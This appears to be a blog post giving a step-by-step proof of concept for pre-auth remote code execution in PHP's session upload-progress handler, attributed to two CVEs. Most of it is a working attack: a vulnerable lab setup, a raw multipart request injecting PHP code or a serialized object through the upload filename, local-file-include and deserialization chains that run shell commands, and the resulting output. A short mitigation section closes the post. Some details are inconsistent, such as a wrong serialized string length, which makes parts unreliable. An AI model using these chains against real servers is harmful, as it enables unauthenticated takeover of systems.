php2shell: a step-by-step proof of concept (pre-auth RCE on PHP)
Yesterday we covered what php2shell is and why the emergency PHP releases (8.5.12 / 8.4.27 / 8.3.36 / 8.2.35) matter. This is the practical follow-up: a working proof of concept for CVE-2026-109618 and CVE-2026-109619, broken down step by step so you can rebuild it in your own lab and watch it run.
Everything here is reproducible on a stock PHP runtime — no special build, no ASan, no debug symbols. I verified it on PHP 8.4.4, which is squarely in the affected 5.4–8.5.11 range.
⚠️ Before you run anything: php2shell PoC code is circulating, and some of it is laced with extra payloads (and occasionally malware). Test in a disposable lab, and read every line before you point it at a real host. Treat any code that "exploits" php2shell as untrusted until you've audited it.
The one weakness we're targeting
Both CVEs live in the same subsystem: PHP's session.upload_progress handler, i.e. the built-in rfc1867 multipart parser that runs before your application code. Two properties of that handler make the pre-auth exploit possible:
- Session identity is taken from the request body. If the form contains a
PHPSESSIDfield, the handler honours it — the session used for the upload-progress record is the one you named, even ifsession.use_strict_modeis off and the attacker already holds a fresh cookie. This is the session-fixation side that rides on CVE-2026-109618. - The upload filename is stored raw, unvalidated. The
filenamefrom the multipartContent-Dispositionis written verbatim into the session payload's upload-progress record. Nothing sanitises it. That is the filename-injection side tied to CVE-2026-109619.
Put them together and an anonymous attacker can, in a single POST with no valid credentials and no existing session, create a session with a session ID they choose and a data value they choose — inside a stateful file that PHP itself later reads. That's the whole trick. How you turn "I control the bytes in a file PHP reads" into code execution depends on what your app can do with a session, and that gives us two clean chains.
Prerequisites on the target
For the PoC to be meaningful the target needs:
- PHP ≥ 5.4 (any SAPI — FPM, mod_php, cli-server for the lab).
session.upload_progress.enabled = On(this is PHP's default, so most servers are already in scope).- A
session_start()somewhere the attacker can reach (any file-upload endpoint, admin login, cart, etc.). - For one of the chains below: either an LFI / include sink that can reach a session file, or a handler/config mismatch (see Chain C).
Note that only the upload-progress feature is required on the writer side. You do not need file_uploads enabled to hit the progress bookkeeping.
Lab setup
I reproduce this with two tiny PHP processes against one docroot. The only reason there are two is to make the handler-mismatch chain trivial; you can collapse it into one server with a .user.ini that flips the serialize handler per directory.
Docroot layout
www/
├── upload.php # writer endpoint (plain session_start)
├── app/
│ ├── write.php # writer that runs with the php_serialize handler
│ └── .user.ini -> session.serialize_handler=php_serialize
├── api/
│ ├── trigger.php # reader with the legacy 'php' handler + the Evil class loaded
│ └── .user.ini -> session.serialize_handler=php
├── lfi.php # LFI include sink (Chain A)
└── .user.ini # default (php_serialize) for the rest
upload.php — the writer:
<?php
session_start();
echo "upload-ok sid=" . session_id();
lfi.php — the include sink for Chain A:
<?php
session_start();
$id = basename($_GET['id'] ?? 'index');
$f = ini_get('session.save_path') . "/sess_" . $id;
if (file_exists($f)) {
include($f); // <- attacker-controlled filename lands here
echo "\n[included $f]";
}
api/trigger.php — the reader for Chain C, with the exploitable class defined:
<?php
class Evil {
public $cmd;
function __destruct() {
if (is_string($this->cmd)) {
@shell_exec($this->cmd);
}
}
}
session_start();
Start one server per handler:
# writer side (php_serialize)
php -S <HOST>:8081 -t www/ -d session.serialize_handler=php_serialize
# reader side (legacy php) — where LFI + Evil live
php -S <HOST>:8080 -t www/ -d session.serialize_handler=php
That's the entire environment. No framework, no CMS.
The raw request (both chains share this)
The exploit is a single hand-rolled multipart/form-data POST over a raw socket (raw sockets matter — a normal HTTP client buffers the body, and the whole point of the progress handler is to observe the body arriving). You control three values: the session ID, the progress marker, and the filename.
POST /upload.php HTTP/1.1
Host: <HOST>
Content-Type: multipart/form-data; boundary=BOUND
Content-Length: <n>
Connection: close
--BOUND
Content-Disposition: form-data; name="PHPSESSID"
<SID>
--BOUND
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
x
--BOUND
Content-Disposition: form-data; name="f"; filename="<PAYLOAD>"
Z
--BOUND--
PHPSESSID = <SID>— pins the upload-progress record to the session we name.PHP_SESSION_UPLOAD_PROGRESS = x— arms the rfc1867 progress bookkeeping.filename="<PAYLOAD>"— the value that gets written raw into the session file. This is the injection point.
After the POST, PHP has written a session file sess_<SID> that contains our payload. You can confirm by reading it off disk; it looks like a serialized upload-progress record whose name field is exactly what we put in filename.
Now we just need PHP to read that file back and do something with it. Two ways, both pre-auth:
Chain A — session injection → local file include
Precondition: the app includes files/paths from user input and can reach the session save path (a classic LFI).
Step 1 — set the filename to executable PHP:
filename = <?php system(id); ?>
(For an on-disk marker, I wrapped it so the RCE result is visible: <?php @file_put_contents('/tmp/p2sA.txt','CHAINA-RCE: '.shell_exec('id')); ?>)
Step 2 — POST to the writer with that filename and our chosen <SID>.
Step 3 — trigger the include on the reader:
GET /lfi.php?id=<SID>
The sink include()s sess_<SID>; the file now contains <?php system('id'); ?>; PHP executes it.
Output (real, from the lab run):
CHAINA-RCE: uid=<webuser> gid=<webuser> groups=<webuser>
That is unauthenticated code execution as the PHP process user. Chain A is 100% reliable for any app that has an LFI into the session store — which is more common than it should be.
Chain C — session injection → serialize-handler mismatch → __destruct
This one needs no LFI. It abuses format incompatibility between two session serialize handlers — a very real-world condition (an app deployed with one session serialize_handler, or a config drift / a .user.ini override).
The mechanics:
- We write the session with the
php_serializehandler. The file content is a serialized array; we make the injected filename the serializedEvilobject:
name = |O:4:"Evil":1:{s:3:"cmd";s:4:"id";}
(The leading | is the delimiter the rfc1867 writer uses between the progress key and the value — it survives into the file.)
- We read that same session file with the legacy
phphandler — the old-stylekey|serialized-valueformat the session engine still reads. When the legacy decoder parses our value, it unserializes theEvilobject — so long as a class namedEvilexists in the reading scope (it does inapi/trigger.php). - PHP's unserialize fires
Evil::__destruct()— note it fires even on a failed/garbled decode — and our__destructcallsshell_exec($this->cmd).
Step 1 — POST to the php_serialize writer (/app/write.php on :8081) with the malicious filename and <SID>.
Step 2 — read the session with the legacy handler (/api/trigger.php on :8080) by presenting the cookie:
GET /api/trigger.php HTTP/1.1
Cookie: PHPSESSID=<SID>
session_start() loads sess_<SID> through the legacy decoder → unserializes Evil → __destruct() → shell_exec('id').
Output (real, from the lab run):
CHAINC-RCE cmd=id out=uid=<webuser> gid=<webuser> groups=<webuser>
Pre-auth RCE, no LFI, no gadget-chain hunt through your app's object pool — just a class that happens to have a __destruct (or any __wake/__destruct POP gadget you can already find in the framework).
Why this is the "easy" php2shell
The advisories describe php2shell as memory corruption (OOM handling and stale global pointers — genuine use-after-free paths). Those are the deepest, hardest-to-weaponize routes: you have to win a heap race and groom a slab so a stale pointer write lands where you want it.
The PoC above exploits the more tractable surface of the same subsystem: the upload-progress/session handler, which hands an unauthenticated attacker arbitrary control over bytes in a file the stateful PHP runtime reads later. In a lab that's deterministic RCE. It's also the vector that's most likely to be reachable in the wild, because it needs only the default upload_progress feature plus something your app already does — include files from input, or mix serialize handlers.
If you only have one of these to defend:
- Patch is the real fix — the handler path is in the runtime, so no app-level plugin fixes it.
- As a temporary, verified mitigation:
session.upload_progress.enabled = Off(+ restart every worker) removes the injection surface entirely;memory_limit = -1(set viaphp_admin_valueso apps can't override) blunts the OOM path. - Hunt for LFI-into-session and for multiple
session.serialize_handlervalues in one deployment — those are the fastest routes an attacker has.